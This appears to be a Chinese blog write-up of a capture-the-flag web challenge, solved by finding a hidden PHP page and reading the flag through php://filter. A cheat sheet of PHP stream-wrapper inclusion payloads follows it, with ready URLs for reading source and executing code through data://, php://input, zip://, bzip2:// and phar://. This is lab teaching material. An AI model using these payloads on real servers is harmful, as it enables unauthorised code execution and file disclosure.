[极客大挑战 2019] Secret File

右键看源码,找到 href="./Archive_room.php"。

点 secret 之后,没反应,直接就查阅结束。

image-20210607201107525

打开 burp 抓包,发现文件。 secr3t.php

image-20210607201259185

通过 php 伪协议读取到了 flag。


常见的 php 伪协议:

  • 1.php://filter/read=convert.base64-encode/resource=[文件名] 读取文件源码(针对 php 文件需要 base64 编码)

  • 2.php://input + [POST DATA] 执行 php 代码

  • 3zip:// & bzip2:// & zlib:// 协议
    条件

allow_url_fopen:off/on
allow_url_include :off/on
作用

zip:// & bzip2:// & zlib:// 均属于压缩流,可以访问压缩文件中的子文件,更重要的是不需要指定后缀名,可修改为任意后缀:jpg png gif xxx 等等。

用法

1.zip://[压缩文件绝对路径]%23 [压缩文件内的子文件名](# 编码为 %23)
压缩 phpinfo.txt 为 phpinfo.zip ,压缩包重命名为 phpinfo.jpg ,并上传

http://127.0.0.1/include.php?file=zip://E:\phpStudy\PHPTutorial\WWW\phpinfo.jpg%23phpinfo.txt

2.compress.bzip2://file.bz2
压缩 phpinfo.txt 为 phpinfo.bz2 并上传(同样支持任意后缀名)

http://127.0.0.1/include.php?file=compress.bzip2://E:\phpStudy\PHPTutorial\WWW\phpinfo.bz2
  • 4、data:// 协议
    条件

allow_url_fopen:on
allow_url_include :on
作用

自 PHP>=5.2.0 起,可以使用 data:// 数据流封装器,以传递相应格式的数据。通常可以用来执行 PHP 代码。
用法

data://text/plain
data://text/plain;base64,
示例

data://text/plain,

http://127.0.0.1/include.php?file=data://text/plain,<?php%20phpinfo();?>

data://text/plain;base64

http://127.0.0.1/include.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b
  • 5、phar:// 协议
    用法

phar:// 协议与 zip:// 类似,同样可以访问 zip 格式压缩包内容,在这里只给出一个示例:

http://127.0.0.1/include.php?file=phar://E:/phpStudy/PHPTutorial/WWW/phpinfo.zip/phpinfo.txt
更新于 阅读次数

请我喝[茶]~( ̄▽ ̄)~*

zeroc 微信支付

微信支付

zeroc 支付宝

支付宝

zeroc 贝宝

贝宝